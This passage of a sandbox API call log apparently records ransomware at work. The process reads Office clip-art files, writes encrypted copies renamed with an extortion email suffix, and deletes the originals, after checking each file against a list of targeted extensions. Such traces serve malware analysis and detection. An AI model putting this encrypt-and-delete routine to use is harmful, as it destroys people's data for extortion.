hTemplateFile=0x0) returned 0x51c [0185.045] GetLastError () returned 0x0 [0185.045] ReadFile (in: hFile=0x53c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x2645, lpOverlapped=0x0) returned 1 [0185.082] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x2650, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x2650, lpOverlapped=0x0) returned 1 [0185.083] ReadFile (in: hFile=0x53c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0185.083] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xea, lpOverlapped=0x0) returned 1 [0185.083] SetEndOfFile (hFile=0x51c) returned 1 [0185.084] CloseHandle (hObject=0x51c) returned 1 [0185.084] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.084] SetEndOfFile (hFile=0x53c) returned 1 [0185.092] CloseHandle (hObject=0x53c) returned 1 [0185.092] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.093] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\java_01.mid")) returned 1 [0185.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0185.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0185.093] lstrlenW (lpString=".doc") returned 4 [0185.093] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.094] lstrlenW (lpString=".docx") returned 5 [0185.094] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0185.094] lstrlenW (lpString=".pdf") returned 4 [0185.094] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.094] lstrlenW (lpString=".xls") returned 4 [0185.094] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.094] lstrlenW (lpString=".xlsx") returned 5 [0185.094] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0185.094] lstrlenW (lpString=".ppt") returned 4 [0185.094] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0185.094] lstrlenW (lpString=".zip") returned 4 [0185.094] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.094] lstrlenW (lpString=".rar") returned 4 [0185.094] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.094] lstrlenW (lpString=".bz2") returned 4 [0185.094] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.094] lstrlenW (lpString=".7z") returned 3 [0185.094] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0185.094] lstrlenW (lpString=".dbf") returned 4 [0185.094] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0185.094] lstrlenW (lpString=".1cd") returned 4 [0185.094] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0185.094] lstrlenW (lpString=".jpg") returned 4 [0185.094] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0185.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0185.094] lstrlenW (lpString=".doc") returned 4 [0185.094] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.094] lstrlenW (lpString=".docx") returned 5 [0185.095] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0185.095] lstrlenW (lpString=".pdf") returned 4 [0185.095] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.095] lstrlenW (lpString=".xls") returned 4 [0185.095] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.095] lstrlenW (lpString=".xlsx") returned 5 [0185.095] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0185.095] lstrlenW (lpString=".ppt") returned 4 [0185.095] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0185.095] lstrlenW (lpString=".zip") returned 4 [0185.095] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.095] lstrlenW (lpString=".rar") returned 4 [0185.095] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.095] lstrlenW (lpString=".bz2") returned 4 [0185.095] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.095] lstrlenW (lpString=".7z") returned 3 [0185.095] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0185.095] lstrlenW (lpString=".dbf") returned 4 [0185.095] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0185.095] lstrlenW (lpString=".1cd") returned 4 [0185.095] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JAVA_01.MID") returned 67 [0185.095] lstrlenW (lpString=".jpg") returned 4 [0185.095] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.095] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0185.095] lstrlenW (lpString="PAPER_01.MID") returned 12 [0185.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0185.097] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=6763) returned 1 [0185.097] CloseHandle (hObject=0x53c) returned 1 [0185.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 0x220 [0185.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0185.098] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.098] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0185.098] GetLastError () returned 0x0 [0185.099] ReadFile (in: hFile=0x53c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x1a6b, lpOverlapped=0x0) returned 1 [0185.102] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x1a70, lpOverlapped=0x0) returned 1 [0185.103] ReadFile (in: hFile=0x53c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0185.103] WriteFile (in: hFile=0x51c, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0185.103] SetEndOfFile (hFile=0x51c) returned 1 [0185.103] CloseHandle (hObject=0x51c) returned 1 [0185.103] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.104] SetEndOfFile (hFile=0x53c) returned 1 [0185.107] CloseHandle (hObject=0x53c) returned 1 [0185.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\paper_01.mid")) returned 1 [0185.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0185.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0185.108] lstrlenW (lpString=".doc") returned 4 [0185.108] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.108] lstrlenW (lpString=".docx") returned 5 [0185.108] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0185.108] lstrlenW (lpString=".pdf") returned 4 [0185.108] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.108] lstrlenW (lpString=".xls") returned 4 [0185.108] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.108] lstrlenW (lpString=".xlsx") returned 5 [0185.108] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0185.108] lstrlenW (lpString=".ppt") returned 4 [0185.108] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0185.108] lstrlenW (lpString=".zip") returned 4 [0185.108] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.108] lstrlenW (lpString=".rar") returned 4 [0185.108] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.108] lstrlenW (lpString=".bz2") returned 4 [0185.108] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.108] lstrlenW (lpString=".7z") returned 3 [0185.108] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0185.109] lstrlenW (lpString=".dbf") returned 4 [0185.109] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0185.109] lstrlenW (lpString=".1cd") returned 4 [0185.109] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0185.109] lstrlenW (lpString=".jpg") returned 4 [0185.109] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0185.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0185.109] lstrlenW (lpString=".doc") returned 4 [0185.109] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.109] lstrlenW (lpString=".docx") returned 5 [0185.109] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0185.109] lstrlenW (lpString=".pdf") returned 4 [0185.109] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.109] lstrlenW (lpString=".xls") returned 4 [0185.109] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.109] lstrlenW (lpString=".xlsx") returned 5 [0185.109] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0185.109] lstrlenW (lpString=".ppt") returned 4 [0185.109] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0185.109] lstrlenW (lpString=".zip") returned 4 [0185.109] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.109] lstrlenW (lpString=".rar") returned 4 [0185.109] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.109] lstrlenW (lpString=".bz2") returned 4 [0185.109] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.109] lstrlenW (lpString=".7z") returned 3 [0185.109] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0185.110] lstrlenW (lpString=".dbf") returned 4 [0185.110] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0185.110] lstrlenW (lpString=".1cd") returned 4 [0185.110] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PAPER_01.MID") returned 68 [0185.110] lstrlenW (lpString=".jpg") returned 4 [0185.110] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.110] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0185.110] lstrlenW (lpString="PARNT_01.MID") returned 12 [0185.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0185.112] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=6491) returned 1 [0185.112] CloseHandle (hObject=0x51c) returned 1 [0185.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 0x220 [0185.112] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0185.113] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.113] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0185.113] GetLastError () returned 0x0 [0185.113] ReadFile (in: hFile=0x51c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x195b, lpOverlapped=0x0) returned 1 [0185.167] WriteFile (in: hFile=0x518, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x1960, lpOverlapped=0x0) returned 1 [0185.168] ReadFile (in: hFile=0x51c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0185.168] WriteFile (in: hFile=0x518, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0185.168] SetEndOfFile (hFile=0x518) returned 1 [0185.168] CloseHandle (hObject=0x518) returned 1 [0185.168] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.169] SetEndOfFile (hFile=0x51c) returned 1 [0185.607] CloseHandle (hObject=0x51c) returned 1 [0185.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0185.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_01.mid")) returned 1 [0185.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0185.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0185.609] lstrlenW (lpString=".doc") returned 4 [0185.609] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.609] lstrlenW (lpString=".docx") returned 5 [0185.609] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0185.609] lstrlenW (lpString=".pdf") returned 4 [0185.609] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.609] lstrlenW (lpString=".xls") returned 4 [0185.609] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.609] lstrlenW (lpString=".xlsx") returned 5 [0185.609] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0185.609] lstrlenW (lpString=".ppt") returned 4 [0185.609] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0185.609] lstrlenW (lpString=".zip") returned 4 [0185.609] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.609] lstrlenW (lpString=".rar") returned 4 [0185.609] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.609] lstrlenW (lpString=".bz2") returned 4 [0185.609] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.610] lstrlenW (lpString=".7z") returned 3 [0185.610] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0185.610] lstrlenW (lpString=".dbf") returned 4 [0185.610] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0185.610] lstrlenW (lpString=".1cd") returned 4 [0185.610] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0185.610] lstrlenW (lpString=".jpg") returned 4 [0185.610] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0185.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0185.610] lstrlenW (lpString=".doc") returned 4 [0185.610] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0185.610] lstrlenW (lpString=".docx") returned 5 [0185.610] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0185.610] lstrlenW (lpString=".pdf") returned 4 [0185.610] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0185.610] lstrlenW (lpString=".xls") returned 4 [0185.610] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0185.610] lstrlenW (lpString=".xlsx") returned 5 [0185.610] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0185.610] lstrlenW (lpString=".ppt") returned 4 [0185.610] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0185.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0185.611] lstrlenW (lpString=".zip") returned 4 [0185.611] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0185.611] lstrlenW (lpString=".rar") returned 4 [0185.611] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0185.611] lstrlenW (lpString=".bz2") returned 4 [0185.611] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0185.611] lstrlenW (lpString=".7z") returned 3 [0185.611] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0185.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0185.611] lstrlenW (lpString=".dbf") returned 4 [0185.611] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0185.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0185.611] lstrlenW (lpString=".1cd") returned 4 [0185.611] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0185.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0185.611] lstrlenW (lpString=".jpg") returned 4 [0185.611] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0185.611] lstrcmpiW (lpString1=".MID", lpString2=".kr") returned 1 [0185.611] lstrlenW (lpString="PARNT_04.MID") returned 12 [0185.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0185.612] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=6070) returned 1 [0185.612] CloseHandle (hObject=0x51c) returned 1 [0185.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid")) returned 0x220 [0185.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0185.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0185.613] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.613] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0185.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_04.mid.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0185.614] GetLastError () returned 0x0 [0185.614] ReadFile (in: hFile=0x51c, lpBuffer=0x3b48020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesRead=0x2fffecc*=0x17b6, lpOverlapped=0x0) returned 1 [0185.616] WriteFile (in: hFile=0x544, lpBuffer=0x3b48020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b48020*, lpNumberOfBytesWritten=0x2fffc94*=0x17c0, lpOverlapped=0x0) returned 